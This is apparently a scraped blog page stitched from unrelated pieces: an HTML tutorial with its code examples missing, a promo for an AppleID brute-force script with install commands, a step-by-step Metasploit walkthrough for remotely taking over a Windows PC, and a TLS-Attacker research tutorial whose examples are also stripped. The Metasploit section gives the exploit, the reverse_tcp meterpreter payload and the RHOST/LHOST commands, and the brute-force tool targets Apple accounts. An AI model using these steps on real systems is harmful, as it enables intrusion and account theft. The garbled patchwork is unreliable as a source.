Puffadust Mobile Blog (BAK): 06/03/20

Wednesday, June 3, 2020

Chapter 1To 5 HTML

Contents

About

................................................................................................................................................................................... 1

Chapter 1: Getting started with HTML

................................................................................................................ 2

Section 1.1: Hello World 2

Chapter 2: Doctypes

.................................................................................................................................................... 4

Section 2.1: Adding the Doctype 4

Section 2.2: HTML 5 Doctype 4

Chapter 3: Headings

.................................................................................................................................................... 5

Section 3.1: Using Headings 5

Chapter 4: Paragraphs

.............................................................................................................................................. 6

Section 4.1: HTML Paragraphs

Chapter 5: Text Formatting

..................................................................................................................................... 6

..................................................................................................................................... 7

Section 5.1: Highlighting 7

Section 5.2: Bold, Italic, and Underline 7

Section 5.3: Abbreviation 8

Section 5.4: Inserted, Deleted, or Stricken 8

Section 5.5: Superscript and Subscript 8

Chapter 1: Getting started with HTML

Version Speciﬁcation Release Date

1.0 N/A 1994-01-01

2.0 RFC 1866

1995-11-24

3.2 W3C: HTML 3.2 Speciﬁcation

1997-01-14

4.0 W3C: HTML 4.0 Speciﬁcation

1998-04-24

4.01 W3C: HTML 4.01 Speciﬁcation

1999-12-24

5 WHATWG: HTML Living Standard

2014-10-28

5.1 W3C: HTML 5.1 Speciﬁcation

2016-11-01

Section 1.1: Hello World

Introduction

HTML (Hypertext Markup Language) uses a markup system composed of elements which represent speciﬁc content. Markup means that with HTML you declare what is presented to a viewer, not how it is presented. Visual representations are deﬁned by Cascading Style Sheets (CSS) and realized by browsers. Still existing elements that allow for such, like e.g. font, "are entirely obsolete, and must not be used by authors"[1].

HTML is sometimes called a programming language but it has no logic, so is a markup language. HTML tags provide semantic meaning and machine-readability to the content in the page.

An element usually consists of an opening tag (<element_name>), a closing tag (</element_name>), which contain the element's name surrounded by angle brackets, and the content in between:

<element_name>...content...</element_name>

There are some HTML elements that don't have a closing tag or any contents. These are called void elements. Void elements include <img>, <meta>, <link> and <input>.

Element names can be thought of as descriptive keywords for the content they contain, such as video, audio, table, footer.

A HTML page may consist of potentially hundreds of elements which are then read by a web browser, interpreted and rendered into human readable or audible content on the screen.

For this document it is important to note the diﬀerence between elements and tags:

Elements: video, audio, table, footer

Tags: <video>, <audio>, <table>, <footer>, </html>, </body>

Element insight

Let's break down a tag...

The <p> tag represents a common paragraph.

Elements commonly have an opening tag and a closing tag. The opening tag contains the element's name in angle brackets (<p>). The closing tag is identical to the opening tag with the addition of a forward slash (/) between the opening bracket and the element's name (</p>).

Content can then go between these two tags: <p>This is a simple paragraph.</p>.

Creating a simple page

The following HTML example creates a simple "Hello World" web page.

HTML ﬁles can be created using any text editor. The ﬁles must be saved with a .html or .htm[2] extension in order to be recognized as HTML ﬁles.

Once created, this ﬁle can be opened in any web browser.

Simple page break down

These are the tags used in the example:

Tag Meaning

<!DOCTYPE> Deﬁnes the HTML version used in the document. In this case it is HTML5.

See the doctypes topic for more information.

Opens the page. No markup should come after the closing tag (</html>). The lang attribute declares

<html>

<head>

<meta>

the primary language of the page using the ISO language codes (en for English). See the Content Language topic for more information.

Opens the head section, which does not appear in the main browser window but mainly contains information about the HTML document, called metadata. It can also contain imports from external stylesheets and scripts. The closing tag is </head>.

Gives the browser some metadata about the document. The charset attribute declares the character encoding. Modern HTML documents should always use UTF-8, even though it is not a requirement. In HTML, the <meta> tag does not require a closing tag.

See the Meta topic for more information.

<title> The title of the page. Text written between this opening and the closing tag (</title>) will be displayed on the tab of the page or in the title bar of the browser.

<body> Opens the part of the document displayed to users, i.e. all the visible or audible content of a page. No content should be added after the closing tag </body>.

<h1> A level 1 heading for the page.

See headings for more information.

<p> Represents a common paragraph of text.

1. ↑ HTML5, 11.2 Non-conforming features

2. ↑ .htm is inherited from the legacy DOS three character ﬁle extension limit.

Chapter 2: Doctypes

Doctypes - short for 'document type' - help browsers to understand the version of HTML the document is written in for better interpretability. Doctype declarations are not HTML tags and belong at the very top of a document. This topic explains the structure and declaration of various doctypes in HTML.

Section 2.1: Adding the Doctype

The <!DOCTYPE> declaration should always be included at the top of the HTML document, before the <html> tag.

Version ≥ 5

See HTML 5 Doctype for details on the HTML 5 Doctype.

Section 2.2: HTML 5 Doctype

HTML5 is not based on SGML (Standard Generalized Markup Language), and therefore does not require a reference to a DTD (Document Type Deﬁnition).

HTML 5 Doctype declaration:

Case Insensitivity

Per the W3.org HTML 5 DOCTYPE Spec:

A DOCTYPE must consist of the following components, in this order:

1. A string that is an ASCII case-insensitive match for the string "<!DOCTYPE".

therefore the following DOCTYPEs are also valid:

This SO article discusses the topic extensively: Uppercase or lowercase doctype?

Chapter 3: Headings

HTML provides not only plain paragraph tags, but six separate header tags to indicate headings of various sizes and thicknesses. Enumerated as heading 1 through heading 6, heading 1 has the largest and thickest text while heading 6 is the smallest and thinnest, down to the paragraph level. This topic details proper usage of these tags.

Section 3.1: Using Headings

Headings can be used to describe the topic they precede and they are deﬁned with the <h1> to <h6> tags. Headings support all the global attributes.

<h1> deﬁnes the most important heading.

<h6> deﬁnes the least important heading.

Deﬁning a heading:

Correct structure matters

Search engines and other user agents usually index page content based on heading elements, for example to create a table of contents, so using the correct structure for headings is important.

In general, an article should have one h1 element for the main title followed by h2 subtitles – going down a layer if necessary. If there are h1 elements on a higher level they shoudn't be used to describe any lower level content.

Example document (extra intendation to illustrate hierarchy):

Chapter 4: Paragraphs

Column Column

<p> Deﬁnes a paragraph

<br> Inserts a single line break

<pre> Deﬁnes pre-formatted text

Paragraphs are the most basic HTML element. This topic explains and demonstrates the usage of the paragraph element in HTML.

Section 4.1: HTML Paragraphs

The HTML <p> element deﬁnes a paragraph:

Display-

You cannot be sure how HTML will be displayed.

Large or small screens, and resized windows will create diﬀerent results.

With HTML, you cannot change the output by adding extra spaces or extra lines in your HTML code. The browser will remove any extra spaces and extra lines when the page is displayed:

Chapter 5: Text Formatting

While most HTML tags are used to create elements, HTML also provides in-text formatting tags to apply speciﬁc text-related styles to portions of text. This topic includes examples of HTML text formatting such as highlighting, bolding, underlining, subscript, and stricken text

Section 5.1: Highlighting

The <mark> element is new in HTML5 and is used to mark or highlight text in a document "due to its relevance in another context".1

The most common example would be in the results of a search were the user has entered a search query and results are shown highlighting the desired query.

Output:

A common standard formatting is black text on a yellow background, but this can be changed with CSS.

Section 5.2: Bold, Italic, and Underline

Bold Text

To bold text, use the <strong> or <b> tags:

What's the diﬀerence? Semantics. <strong> is used to indicate that the text is fundamentally or semantically important to the surrounding text, while <b> indicates no such importance and simply represents text that should be bolded.

If you were to use <b> a text-to-speech program would not say the word(s) any diﬀerently than any of the other words around it - you are simply drawing attention to them without adding any additional importance. By using

<strong>, though, the same program would want to speak those word(s) with a diﬀerent tone of voice to convey that the text is important in some way.

Italic Text

To italicize text, use the <em> or <i> tags:

What's the diﬀerence? Semantics. <em> is used to indicate that the text should have extra emphasis that should be stressed, while <i> simply represents text which should be set oﬀ from the normal text around it.

For example, if you wanted to stress the action inside a sentence, one might do so by emphasizing it in italics via

<em>: "Would you just submit the edit already?"

But if you were identifying a book or newspaper that you would normally italicize stylistically, you would simply use

<i>: "I was forced to read Romeo and Juliet in high school.

Underlined Text

While the <u> element itself was deprecated in HTMl 4, it was reintroduced with alternate semantic meaning in HTML 5 - to represent an unarticulated, non-textual annotation. You might use such a rendering to indicate misspelled text on the page, or for a Chinese proper name mark.

Section 5.3: Abbreviation

To mark some expression as an abbreviation, use <abbr> tag:

If present, the title attribute is used to present the full description of such abbreviation.

Section 5.4: Inserted, Deleted, or Stricken

To mark text as inserted, use the <ins> tag:

To mark text as deleted, use the <del> tag:

To strike through text, use the <s> tag:

Section 5.5: Superscript and Subscript

To oﬀset text either upward or downward you can use the tags <sup> and <sub>. To create superscript:

To create subscript:

@EVERYTHINGNT

iCloudBrutter - AppleID Bruteforce

iCloudBrutter is a simple python (3.x) script to perform basic bruteforce attack againts AppleID.

Usage of iCloudBrutter for attacking targets without prior mutual consent is illegal. iCloudBrutter developer not responsible to any damage caused by iCloudBrutter.

Installation

$ git clone https://github.com/m4ll0k/iCloudBrutter.git
$ cd iCloudBrutter
$ pip3 install requests,urllib3,socks
$ python3 icloud.py

Download iCloudBrutter

Related word

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.

Linux Machine (Kali Linux or BackTrack 5)
Metasploit (Built in the mentioned Linux OS)
Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.

Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
After the initialization of msfconsole, standard checks, we will see the window like below.
Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server. To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.

More information

Playing With TLS-Attacker

In the last two years, we changed the TLS-Attacker Project quite a lot but kept silent about most changes we implemented. Since we do not have so much time to keep up with the documentation (we are researchers and not developers in the end), we thought about creating a small series on some of our recent changes to the project on this blog.

We hope this gives you an idea on how to use the most recent version (TLS-Attacker 2.8). If you feel like you found a bug, don't hesitate to contact me via GitHub/Mail/Twitter. This post assumes that you have some idea what this is all about. If you have no idea, checkout the original paper from Juraj or our project on GitHub.

TLDR: TLS-Attacker is a framework which allows you to send arbitrary protocol flows.

Quickstart:
# Install & Use Java JDK 8
$ sudo apt-get install maven
$ git clone https://github.com/RUB-NDS/TLS-Attacker
$ cd TLS-Attacker
$ mvn clean package

So, what changed since the release of the original paper in 2016? Quite a lot! We discovered that we could make the framework much more powerful by adding some new concepts to the code which I want to show you now.

Action System

In the first Version of TLS-Attacker (1.x), WorkflowTraces looked like this:
Although this design looks straight forward, it lacks flexibility. In this design, a WorkflowTrace is basically a list of messages. Each message is annotated with a <messageIssuer>, to tell TLS-Attacker that it should either try to receive this message or send it itself. If you now want to support more advanced workflows, for example for renegotiation or session resumption, TLS-Attacker will soon reach its limits. There is also a missing angle for fuzzing purposes. TLS-Attacker will by default try to use the correct parameters for the message creation, and then apply the modifications afterward. But what if we want to manipulate parameters of the connection which influence the creation of messages? This was not possible in the old version, therefore, we created our action system. With this action system, a WorkflowTrace does not only consist of a list of messages but a list of actions. The most basic actions are the Send- and ReceiveAction. These actions allow you to basically recreate the previous behavior of TLS-Attacker 1.x . Here is an example to show how the same workflow would look like in the newest TLS-Attacker version:

As you can see, the <messageIssuer> tags are gone. Instead, you now indicate with the type of action how you want to deal with the message. Another important thing: TLS-Attacker uses WorkflowTraces as an input as well as an output format. In the old version, once a WorkflowTrace was executed it was hard to see what actually happened. Especially, if you specify what messages you expect to receive. In the old version, your WorkflowTrace could change during execution. This was very confusing and we, therefore, changed the way the receiving of messages works. The ReceiveAction has a list of <expectedMessages>. You can specify what you expect the other party to do. This is mostly interesting for performance tricks (more on that in another post), but can also be used to validate that your workflow executedAsPlanned. Once you execute your ReceiveAction an additional <messages> tag will pop up in the ReceiveAction to show you what has actually been observed. Your original WorkflowTrace stays intact.

During the execution, TLS-Attacker will execute the actions one after the other. There are specific configuration options with which you can control what TLS-Attacker should do in the case of an error. By default, TLS-Attacker will never stop, and just execute whatever is next.

Configs

As you might have seen the <messageIssuer> tags are not the only thing which is missing. Additionally, the cipher suites, compression algorithms, point formats, and supported curves are missing. This is no coincidence. A big change in TLS-Attacker 2.x is the separation of the WorkflowTrace from the parameter configuration and the context. To explain how this works I have to talk about how the new TLS-Attacker version creates messages. Per default, the WorkflowTrace does not contain the actual contents of the messages. But let us step into TLS-Attackers point of view. For example, what should TLS-Attacker do with the following WorkflowTrace:

Usually, the RSAClientKeyExchange message is constructed with the public key from the received certificate message. But in this WorkflowTrace, we did not receive a certificate message yet. So what public key are we supposed to use? The previous version had "some" key hardcoded. The new version does not have these default values hardcoded but allows you as the user to define the default values for missing values, or how our own messages should be created. For this purpose, we introduced the new concept of Configs. A Config is a file/class which you can provide to TLS-Attacker in addition to a WorkflowTrace, to define how TLS-Attacker should behave, and how TLS-Attacker should create its messages (even in the absence of needed parameters). For this purpose, TLS-Attacker has a default Config, with all the known hardcoded values. It is basically a long list of possible parameters and configuration options. We chose sane values for most things, but you might have other ideas on how to do things. You can execute a WorkflowTrace with a specific config. The provided Config will then overwrite all existing default values with your specified values. If you do not specify a certain value, the default value will be used. I will get back to how Configs work, once we played a little bit with TLS-Attacker.

TLS-Attacker ships with a few example applications (found in the "apps/" folder after you built the project). While TLS-Attacker 1.x was mostly a standalone tool, we currently see TLS-Attacker more as a library which we can use by our more sophisticated projects. The current example applications are:

TLS-Client (A TLS-Client to execute WorkflowTraces with)
TLS-Server (A TLS-Server to execute WorkflowTraces with)
Attacks (We'll talk about this in another blog post)
TLS-Forensics (We'll talk about this in another blog post)
TLS-Mitm (We'll talk about this in another blog post)
TraceTool (We'll talk about this in another blog post)

TLS-Client

The TLS-Client is a simple TLS-Client. Per default, it executes a handshake for the default selected cipher suite (RSA). The only mandatory parameter is the server you want to connect to (-connect).

The most trivial command you can start it with is:

Note: The example tool does not like "https://" or other protocol information. Just provide a hostname and port

Depending on the host you chose your output might look like this:

or like this:

So what is going on here? Let's start with the first execution. As I already mentioned. TLS-Attacker constructs the default WorkflowTrace based on the default selected cipher suite. When you run the client, the WorkflowExecutor (part of TLS-Attacker which is responsible for the execution of a WorkflowTrace) will try to execute the handshake. For this purpose, it will first start the TCP connection.
This is what you see here:

After that, it will execute the actions specified in the default WorkflowTrace. The default WorkflowTrace looks something like this:
This is basically what you see in the console output. The first action which gets executed is the SendAction with the ClientHello.

Then, we expect to receive messages. Since we want to be an RSA handshake, we do not expect a ServerKeyExchange message, but only want a ServerHello, Certificate and a ServerHelloDone message.

We then execute the second SendAction:

and finally, we want to receive a ChangeCipherSpec and Finished Message:

In the first execution, these steps all seem to have worked. But why did they fail in the second execution? The reason is that our default Config does not only allow specify RSA cipher suites but creates ClientHello messages which also contain elliptic curve cipher suites. Depending on the server you are testing with, the server will either select and RSA cipher suite, or an elliptic curve one. This means, that the WorkflowTrace will not executeAsPlanned. The server will send an additional ECDHEServerKeyExchange. If we would look at the details of the ServerHello message we would also see that an (ephemeral) elliptic curve cipher suite is selected:

Since our WorkflowTrace is configured to send an RSAClientKeyExchange message next, it will just do that:

Note: ClientKeyExchangeMessage all have the same type field, but are implemented inside of TLS-Attacker as different messages

Since this RSAClientKeyExchange does not make a lot of sense for the server, it rejects this message with a DECODE_ERROR alert:

If we would change the Config of TLS-Attacker, we could change the way our ClientHello is constructed. If we specify only RSA cipher suites, the server has no choice but to select an RSA one (or immediately terminate the connection). We added command line flags for the most common Config changes. Let's try to change the default cipher suite to TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:

As you can see, we now executed a complete ephemeral elliptic curve handshake. This is, because the -cipher flag changed the <defaultSelectedCiphersuite> parameter (among others) in the Config. Based on this parameter the default WorkflowTrace is constructed. If you want, you can specify multiple cipher suites at once, by seperating them with a comma.

We can do the same change by supplying TLS-Attacker with a custom Config via XML. To this we need to create a new file (I will name it config.xml) like this:

You can then load the Config with the -config flag:

For a complete reference of the supported Config options, you can check out the default_config.xml. Most Config options should be self-explanatory, for others, you might want to check where and how they are used in the code (sorry).

Now let's try to execute an arbitrary WorkflowTrace. To do this, we need to store our WorkflowTrace in a file and load it with the -workflow_input parameter. I just created the following WorkflowTrace:

As you can see I just send a ServerHello message instead of a ClientHello message at the beginning of the handshake. This should obviously never happen but let's see how the tested server reacts to this.
We can execute the workflow with the following command:

The server (correctly) responded with an UNEXPECTED_MESSAGE alert. Great!

Output parameters & Modifications

You are now familiar with the most basic concepts of TLS-Attacker, so let's dive into other things TLS-Attacker can do for you. As a TLS-Attacker user, you are sometimes interested in the actual values which are used during a WorkflowTrace execution. For this purpose, we introduced the -workflow_output flag. With this parameter, you can ask TLS-Attacker to store the executed WorkflowTrace with all its values in a file.
Let's try to execute our last created WorkflowTrace, and store the output WorkflowTrace in the file out.xml:

The resulting WorkflowTrace looks like this:

As you can see, although the input WorkflowTrace was very short, the output trace is quite noisy. TLS-Attacker will display all its intermediate values and modification points (this is where the modifiable variable concept becomes interesting). You can also execute the output workflow again.

Note that at this point there is a common misunderstanding: TLS-Attacker will reset the WorkflowTrace before it executes it again. This means, it will delete all intermediate values you see in the WorkflowTrace and recompute them dynamically. This means that if you change a value within <originalValue> tags, your changes will just be ignored. If you want to influence the values TLS-Attacker uses, you either have to manipulate the Config (as already shown) or apply modifications to TLS-Attackers ModifiableVariables. The concept of ModifiableVariables is mostly unchanged to the previous version, but we will show you how to do this real quick anyway.

So let us imagine we want to manipulate a value in the WorkflowTrace using a ModifiableVariable via XML. First, we have to select a field which we want to manipulate. I will choose the protocol version field in the ServerHello message we sent. In the WorkflowTrace this looked like this:

For historical reasons, 0x0303 means TLS 1.2. 0x0300 was SSL 3. When they introduced TLS 1.0 they chose 0x0301 and since then they just upgraded the minor version.

In order to manipulate this ModifiableVariable, we first need to know its type. In some cases it is currently non-trivial to determine the exact type, this is mostly undocumented (sorry). If you don't know the exact type of a field you currently have to look at the code. The following types and modifications are defined:

ModifiableBigInteger: add, explicitValue, shiftLeft, shiftRight, subtract, xor

ModifiableBoolean: explicitValue, toggle

ModifiableByteArray: delete, duplicate, explicitValue, insert, shuffle, xor

ModifiableInteger: add, explicitValue, shiftLeft, shiftRight, subtract, xor

ModifiableLong: add, explicitValue, subtract, xor

ModifiableByte: add, explicitValue, subtract, xor

ModifiableString: explicitValue

As a rule of thumb: If the value is only up to 1 byte of length we use a ModifiableByte. If the value is up to 4 bytes of length, but the values are used as a normal number (for example in length fields) it is a ModifiableInteger. Fields which are used as a number which are bigger than 4 bytes (for example a modulus) is usually a ModifiableBigInteger. Most other types are encoded as ModifiableByteArrays. The other types are very rare (we are currently working on making this whole process more transparent).
Once you have found your type you have to select a modification to apply to it. For manual analysis, the most common modifications are the XOR modification and the explicit value modification. However, during fuzzing other modifications might be useful as well. Often times you just want to flip a bit and see how the server responds, or you want to directly overwrite a value. In this example, we want to overwrite a value.
Let us force TLS-Attacker to send the version 0x3A3A. To do this I consult the ModifiableVariable README.md for the exact syntax. Since <protocolVersion> is a ModifiableByteArray I search in the ByteArray section.

I find the following snippet:

If I now want to change the value to 0x3A3A I modify my WorkflowTrace like this:

You can then execute the WorkflowTrace with:

With Wireshark you can now observe that the protocol version got actually changed. You would also see the change if you would specify a -workflow_output or if you start the TLS-Client with the -debug flag.

More Actions

As I already hinted, TLS-Attacker has more actions to offer than just a basic Send- and ReceiveAction (50+ in total). The most useful, and easiest to understand actions are now introduced:

ActivateEncryptionAction

This action does basically what the CCS message does. It activates the currently "negotiated" parameters. If necessary values are missing in the context of the connection, they are drawn from the Config.

DeactivateEncryptionAction

This action does the opposite. If the encryption was active, we now send unencrypted again.

PrintLastHandledApplicationDataAction

Prints the last application data message either sent or received.

PrintProposedExtensionsAction

Prints the proposed extensions (from the client)

PrintSecretsAction

Prints the secrets (RSA) from the current connection. This includes the nonces, cipher suite, public key, modulus, premaster secret, master secret and verify data.

RenegotiationAction

Resets the message digest. This is usually done if you want to perform a renegotiation.

ResetConnectionAction

Closes and reopens the connection. This can be useful if you want to analyze session resumption or similar things which involve more than one handshake.

SendDynamicClientKeyExchangeAction

Send a ClientKeyExchange message, and always chooses the correct one (depending on the current connection state). This is useful if you just don't care about the actual cipher suite and just want the handshake done.

SendDynamicServerKeyExchangeAction

(Maybe) sends a ServerKeyExchange message. This depends on the currently selected cipher suite. If the cipher suite requires the transmission of a ServerKeyExchange message, then a ServerKeyExchange message will be sent, otherwise, nothing is done. This is useful if you just don't care about the actual cipher suite and just want the handshake done.

WaitAction

This lets TLS-Attacker sleep for a specified amount of time (in ms).

As you might have already seen there is so much more to talk about in TLS-Attacker. But this should give you a rough idea of what is going on.

If you have any research ideas or need support feel free to contact us on Twitter (@ic0nz1, @jurajsomorovsky ) or at https://www.hackmanit.de/.

If TLS-Attacker helps you to find a bug in a TLS implementation, please acknowledge our tool(s). If you want to learn more about TLS, Juraj and I are also giving a Training about TLS at Ruhrsec (27.05.2019).

Puffadust Mobile Blog (BAK)